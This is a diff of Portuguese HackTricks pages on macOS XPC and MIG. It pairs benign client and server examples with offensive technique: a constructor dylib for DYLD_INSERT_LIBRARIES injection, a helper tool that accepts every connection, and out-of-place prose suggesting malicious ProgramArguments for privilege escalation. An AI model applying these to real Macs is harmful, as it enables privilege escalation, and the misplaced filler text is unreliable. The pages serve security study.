r8 = r8 - 0x1f4;
|
||||
if (r8 > 0x0) {
|
||||
if (CPU_FLAGS & G) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
r8 = r8 - 0x1f4;
|
||||
if (r8 < 0x0) {
|
||||
if (CPU_FLAGS & L) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
// 0x1f4 = 500 (o ID de início)
|
||||
<strong> r8 = r8 - 0x1f4;
|
||||
</strong> asm { smaddl x8, w8, w9, x10 };
|
||||
r8 = *(r8 + 0x8);
|
||||
var_20 = r8;
|
||||
r8 = r8 - 0x0;
|
||||
if (r8 != 0x0) {
|
||||
if (CPU_FLAGS & NE) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// Mesmo se senão que na versão anterior
|
||||
// Verifique o uso do endereço 0x100004040 (array de endereços de funções)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// Chamada para o endereço calculado onde a função deve estar
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
*(var_18 + 0x18) = **0x100004000;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
}
|
||||
else {
|
||||
*(var_18 + 0x18) = **0x100004000;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
r0 = var_4;
|
||||
return r0;
|
||||
}
|
||||
|
||||
</code></pre>
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Na verdade, se você for para a função **`0x100004000`**, encontrará o array de structs **`routine_descriptor`**, o primeiro elemento da struct é o endereço onde a função é implementada e a **struct ocupa 0x28 bytes**, então a cada 0x28 bytes (começando do byte 0) você pode obter 8 bytes e esse será o **endereço da função** que será chamada:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Esses dados podem ser extraídos [**usando este script do Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||
|
||||
<details>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,428 @@
|
|||
# macOS XPC
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informações básicas
|
||||
|
||||
XPC, que significa Comunicação Interprocessos (IPC) do XNU (o kernel usado pelo macOS), é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer **chamadas de método seguras e assíncronas entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com privilégios separados**, onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim os danos potenciais de um processo comprometido.
|
||||
|
||||
O XPC usa uma forma de Comunicação Interprocessos (IPC), que é um conjunto de métodos para que diferentes programas em execução no mesmo sistema enviem dados de ida e volta.
|
||||
|
||||
Os principais benefícios do XPC incluem:
|
||||
|
||||
1. **Segurança**: Ao separar o trabalho em diferentes processos, cada processo pode receber apenas as permissões necessárias. Isso significa que, mesmo que um processo seja comprometido, ele tem capacidade limitada de causar danos.
|
||||
2. **Estabilidade**: O XPC ajuda a isolar falhas no componente onde ocorrem. Se um processo falhar, ele pode ser reiniciado sem afetar o restante do sistema.
|
||||
3. **Desempenho**: O XPC permite fácil concorrência, pois diferentes tarefas podem ser executadas simultaneamente em diferentes processos.
|
||||
|
||||
A única **desvantagem** é que **separar um aplicativo em vários processos** que se comunicam via XPC é **menos eficiente**. Mas nos sistemas de hoje isso quase não é perceptível e os benefícios são maiores.
|
||||
|
||||
## Serviços XPC específicos do aplicativo
|
||||
|
||||
Os componentes XPC de um aplicativo estão **dentro do próprio aplicativo**. Por exemplo, no Safari, você pode encontrá-los em **`/Applications/Safari.app/Contents/XPCServices`**. Eles têm a extensão **`.xpc`** (como **`com.apple.Safari.SandboxBroker.xpc`**) e também são **bundles** com o binário principal dentro dele: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` e um `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||
|
||||
Como você pode estar pensando, um **componente XPC terá diferentes direitos e privilégios** do que os outros componentes XPC ou o binário principal do aplicativo. EXCETO se um serviço XPC for configurado com [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) definido como "True" em seu arquivo **Info.plist**. Nesse caso, o serviço XPC será executado na **mesma sessão de segurança do aplicativo** que o chamou.
|
||||
|
||||
Os serviços XPC são **iniciados** pelo **launchd** quando necessário e **encerrados** quando todas as tarefas são **concluídas** para liberar recursos do sistema. **Os componentes XPC específicos do aplicativo só podem ser utilizados pelo aplicativo**, reduzindo assim o risco associado a possíveis vulnerabilidades.
|
||||
|
||||
## Serviços XPC em todo o sistema
|
||||
|
||||
Os serviços XPC em todo o sistema são acessíveis a todos os usuários. Esses serviços, sejam do tipo launchd ou Mach, precisam ser **definidos em arquivos plist** localizados em diretórios especificados, como **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** ou **`/Library/LaunchAgents`**.
|
||||
|
||||
Esses arquivos plist terão uma chave chamada **`MachServices`** com o nome do serviço e uma chave chamada **`Program`** com o caminho para o binário:
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Program</key>
|
||||
<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
|
||||
<key>AbandonProcessGroup</key>
|
||||
<true/>
|
||||
<key>KeepAlive</key>
|
||||
<true/>
|
||||
<key>Label</key>
|
||||
<string>com.jamf.management.daemon</string>
|
||||
<key>MachServices</key>
|
||||
<dict>
|
||||
<key>com.jamf.management.daemon.aad</key>
|
||||
<true/>
|
||||
<key>com.jamf.management.daemon.agent</key>
|
||||
<true/>
|
||||
<key>com.jamf.management.daemon.binary</key>
|
||||
<true/>
|
||||
<key>com.jamf.management.daemon.selfservice</key>
|
||||
<true/>
|
||||
<key>com.jamf.management.daemon.service</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Os presentes em **`LaunchDameons`** são executados pelo root. Portanto, se um processo não privilegiado puder se comunicar com um deles, ele poderá conseguir privilégios elevados.
|
||||
|
||||
## Mensagens de Evento XPC
|
||||
|
||||
As aplicações podem **se inscrever** em diferentes **mensagens de evento**, permitindo que sejam **iniciadas sob demanda** quando esses eventos ocorrerem. A **configuração** desses serviços é feita em arquivos **plist do launchd**, localizados nos **mesmos diretórios dos anteriores** e contendo uma chave adicional **`LaunchEvent`**.
|
||||
|
||||
### Verificação do Processo de Conexão XPC
|
||||
|
||||
Quando um processo tenta chamar um método por meio de uma conexão XPC, o **serviço XPC deve verificar se esse processo tem permissão para se conectar**. Aqui estão as maneiras comuns de verificar isso e as armadilhas comuns:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check.md" %}
|
||||
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Autorização XPC
|
||||
|
||||
A Apple também permite que os aplicativos **configurem alguns direitos e como obtê-los**, para que, se o processo de chamada os tiver, ele seja **autorizado a chamar um método** do serviço XPC:
|
||||
|
||||
{% content-ref url="macos-xpc-authorization.md" %}
|
||||
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Exemplo de Código C
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="xpc_server.c" %}
|
||||
```c
|
||||
// gcc xpc_server.c -o xpc_server
|
||||
|
||||
#include <xpc/xpc.h>
|
||||
|
||||
static void handle_event(xpc_object_t event) {
|
||||
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
|
||||
// Print received message
|
||||
const char* received_message = xpc_dictionary_get_string(event, "message");
|
||||
printf("Received message: %s\n", received_message);
|
||||
|
||||
// Create a response dictionary
|
||||
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_string(response, "received", "received");
|
||||
|
||||
// Send response
|
||||
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
|
||||
xpc_connection_send_message(remote, response);
|
||||
|
||||
// Clean up
|
||||
xpc_release(response);
|
||||
}
|
||||
}
|
||||
|
||||
static void handle_connection(xpc_connection_t connection) {
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
||||
handle_event(event);
|
||||
});
|
||||
xpc_connection_resume(connection);
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
|
||||
dispatch_get_main_queue(),
|
||||
XPC_CONNECTION_MACH_SERVICE_LISTENER);
|
||||
if (!service) {
|
||||
fprintf(stderr, "Failed to create service.\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
|
||||
xpc_type_t type = xpc_get_type(event);
|
||||
if (type == XPC_TYPE_CONNECTION) {
|
||||
handle_connection(event);
|
||||
}
|
||||
});
|
||||
|
||||
xpc_connection_resume(service);
|
||||
dispatch_main();
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="xpc_client.c" %}
|
||||
```c
|
||||
// gcc xpc_client.c -o xpc_client
|
||||
|
||||
#include <xpc/xpc.h>
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
|
||||
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
||||
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
|
||||
// Print received message
|
||||
const char* received_message = xpc_dictionary_get_string(event, "received");
|
||||
printf("Received message: %s\n", received_message);
|
||||
}
|
||||
});
|
||||
|
||||
xpc_connection_resume(connection);
|
||||
|
||||
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_string(message, "message", "Hello, Server!");
|
||||
|
||||
xpc_connection_send_message(connection, message);
|
||||
|
||||
dispatch_main();
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="xyz.hacktricks.service.plist" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>xyz.hacktricks.service</string>
|
||||
<key>MachServices</key>
|
||||
<dict>
|
||||
<key>xyz.hacktricks.service</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<key>Program</key>
|
||||
<string>/tmp/xpc_server</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/tmp/xpc_server</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```bash
|
||||
# Compile the server & client
|
||||
gcc xpc_server.c -o xpc_server
|
||||
gcc xpc_client.c -o xpc_client
|
||||
|
||||
# Save server on it's location
|
||||
cp xpc_server /tmp
|
||||
|
||||
# Load daemon
|
||||
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
|
||||
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||
|
||||
# Call client
|
||||
./xpc_client
|
||||
|
||||
# Clean
|
||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
||||
```
|
||||
## Exemplo de Código Objective-C
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="oc_xpc_server.m" %}
|
||||
```objectivec
|
||||
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||
#include <Foundation/Foundation.h>
|
||||
|
||||
@protocol MyXPCProtocol
|
||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
||||
@end
|
||||
|
||||
@interface MyXPCObject : NSObject <MyXPCProtocol>
|
||||
@end
|
||||
|
||||
|
||||
@implementation MyXPCObject
|
||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
|
||||
NSLog(@"Received message: %@", some_string);
|
||||
NSString *response = @"Received";
|
||||
reply(response);
|
||||
}
|
||||
@end
|
||||
|
||||
@interface MyDelegate : NSObject <NSXPCListenerDelegate>
|
||||
@end
|
||||
|
||||
|
||||
@implementation MyDelegate
|
||||
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
|
||||
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
|
||||
|
||||
MyXPCObject *my_object = [MyXPCObject new];
|
||||
|
||||
newConnection.exportedObject = my_object;
|
||||
|
||||
[newConnection resume];
|
||||
return YES;
|
||||
}
|
||||
@end
|
||||
|
||||
int main(void) {
|
||||
|
||||
NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];
|
||||
|
||||
id <NSXPCListenerDelegate> delegate = [MyDelegate new];
|
||||
listener.delegate = delegate;
|
||||
[listener resume];
|
||||
|
||||
sleep(10); // Fake something is done and then it ends
|
||||
}
|
||||
```
|
||||
{% tab title="oc_xpc_client.m" %}
|
||||
```objectivec
|
||||
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||
#include <Foundation/Foundation.h>
|
||||
|
||||
@protocol MyXPCProtocol
|
||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
||||
@end
|
||||
|
||||
int main(void) {
|
||||
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
|
||||
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
|
||||
[connection resume];
|
||||
|
||||
[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
|
||||
NSLog(@"Received response: %@", response);
|
||||
}];
|
||||
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="xyz.hacktricks.svcoc.plist" %}
|
||||
|
||||
O arquivo `xyz.hacktricks.svcoc.plist` é um arquivo de propriedades do Launchd usado para definir e controlar serviços no macOS. O Launchd é o sistema de inicialização e gerenciamento de processos do macOS. O arquivo plist contém informações sobre o serviço, como o caminho do executável, argumentos, variáveis de ambiente e outras configurações.
|
||||
|
||||
Para explorar vulnerabilidades de escalonamento de privilégios usando o arquivo `xyz.hacktricks.svcoc.plist`, você pode tentar manipular as configurações do serviço para executar comandos maliciosos com privilégios elevados. Isso pode ser feito modificando o arquivo plist para incluir comandos ou scripts maliciosos no campo `ProgramArguments` ou usando outras técnicas de injeção de código.
|
||||
|
||||
No entanto, é importante ressaltar que a exploração de vulnerabilidades de escalonamento de privilégios é ilegal e antiética, a menos que você tenha permissão explícita para fazê-lo em um ambiente controlado, como parte de um teste de penetração autorizado.
|
||||
|
||||
Recomenda-se sempre seguir as leis e regulamentos aplicáveis e obter permissão adequada antes de realizar qualquer atividade de hacking ou teste de penetração.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>xyz.hacktricks.svcoc</string>
|
||||
<key>MachServices</key>
|
||||
<dict>
|
||||
<key>xyz.hacktricks.svcoc</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<key>Program</key>
|
||||
<string>/tmp/oc_xpc_server</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/tmp/oc_xpc_server</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```bash
|
||||
# Compile the server & client
|
||||
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||
|
||||
# Save server on it's location
|
||||
cp oc_xpc_server /tmp
|
||||
|
||||
# Load daemon
|
||||
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
|
||||
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
|
||||
# Call client
|
||||
./oc_xpc_client
|
||||
|
||||
# Clean
|
||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
||||
```
|
||||
## Cliente dentro de um código Dylb
|
||||
|
||||
O código a seguir demonstra como criar um cliente dentro de um código Dylb para se comunicar com um serviço XPC em um sistema macOS.
|
||||
|
||||
```objective-c
|
||||
#include <xpc/xpc.h>
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service("com.example.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
|
||||
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
||||
// Manipule as respostas recebidas do serviço XPC aqui
|
||||
});
|
||||
|
||||
xpc_connection_resume(connection);
|
||||
|
||||
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_string(message, "key", "value");
|
||||
|
||||
xpc_connection_send_message_with_reply(connection, message, dispatch_get_main_queue(), ^(xpc_object_t response) {
|
||||
// Manipule a resposta recebida do serviço XPC aqui
|
||||
});
|
||||
|
||||
dispatch_main();
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Certifique-se de substituir `"com.example.service"` pelo identificador do serviço XPC ao qual você deseja se conectar. Você também pode personalizar as manipulações de eventos e respostas de acordo com suas necessidades.
|
||||
|
||||
Este código cria uma conexão com o serviço XPC especificado e define manipuladores de eventos para lidar com as respostas recebidas do serviço. Em seguida, ele cria uma mensagem XPC e a envia para o serviço XPC usando a função `xpc_connection_send_message_with_reply()`. Por fim, o código entra em um loop de execução principal usando `dispatch_main()` para manter a conexão ativa.
|
||||
|
||||
Certifique-se de compilar e executar o código em um ambiente macOS adequado com as permissões necessárias para se comunicar com o serviço XPC desejado.
|
||||
```objectivec
|
||||
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
||||
// gcc injection example:
|
||||
// DYLD_INSERT_LIBRARIES=oc_xpc_client.dylib /path/to/vuln/bin
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@protocol MyXPCProtocol
|
||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
||||
@end
|
||||
|
||||
__attribute__((constructor))
|
||||
static void customConstructor(int argc, const char **argv)
|
||||
{
|
||||
NSString* _serviceName = @"xyz.hacktricks.svcoc";
|
||||
|
||||
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
|
||||
|
||||
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]];
|
||||
|
||||
[_agentConnection resume];
|
||||
|
||||
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
|
||||
(void)error;
|
||||
NSLog(@"Connection Failure");
|
||||
}] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
|
||||
NSLog(@"Received response: %@", response);
|
||||
} ];
|
||||
NSLog(@"Done!");
|
||||
|
||||
return;
|
||||
}
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,437 @@
|
|||
# Autorização XPC do macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Autorização XPC
|
||||
|
||||
A Apple também propõe outra maneira de autenticar se o processo de conexão tem **permissões para chamar um método XPC exposto**.
|
||||
|
||||
Quando um aplicativo precisa **executar ações como um usuário privilegiado**, em vez de executar o aplicativo como um usuário privilegiado, geralmente é instalado como root um HelperTool como um serviço XPC que pode ser chamado pelo aplicativo para realizar essas ações. No entanto, o aplicativo que chama o serviço deve ter autorização suficiente.
|
||||
|
||||
### ShouldAcceptNewConnection sempre YES
|
||||
|
||||
Um exemplo pode ser encontrado em [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Em `App/AppDelegate.m`, ele tenta **conectar-se** ao **HelperTool**. E em `HelperTool/HelperTool.m`, a função **`shouldAcceptNewConnection`** **não verificará** nenhum dos requisitos indicados anteriormente. Ele sempre retornará YES:
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
// with our protocol and ourselves as the main object.
|
||||
{
|
||||
assert(listener == self.listener);
|
||||
#pragma unused(listener)
|
||||
assert(newConnection != nil);
|
||||
|
||||
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
|
||||
newConnection.exportedObject = self;
|
||||
[newConnection resume];
|
||||
|
||||
return YES;
|
||||
}
|
||||
```
|
||||
Para obter mais informações sobre como configurar corretamente essa verificação:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check.md" %}
|
||||
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Direitos de aplicativo
|
||||
|
||||
No entanto, há alguma **autorização ocorrendo quando um método do HelperTool é chamado**.
|
||||
|
||||
A função **`applicationDidFinishLaunching`** do arquivo `App/AppDelegate.m` criará uma referência de autorização vazia após o aplicativo ser iniciado. Isso deve sempre funcionar.\
|
||||
Em seguida, ele tentará **adicionar alguns direitos** a essa referência de autorização chamando `setupAuthorizationRights`:
|
||||
```objectivec
|
||||
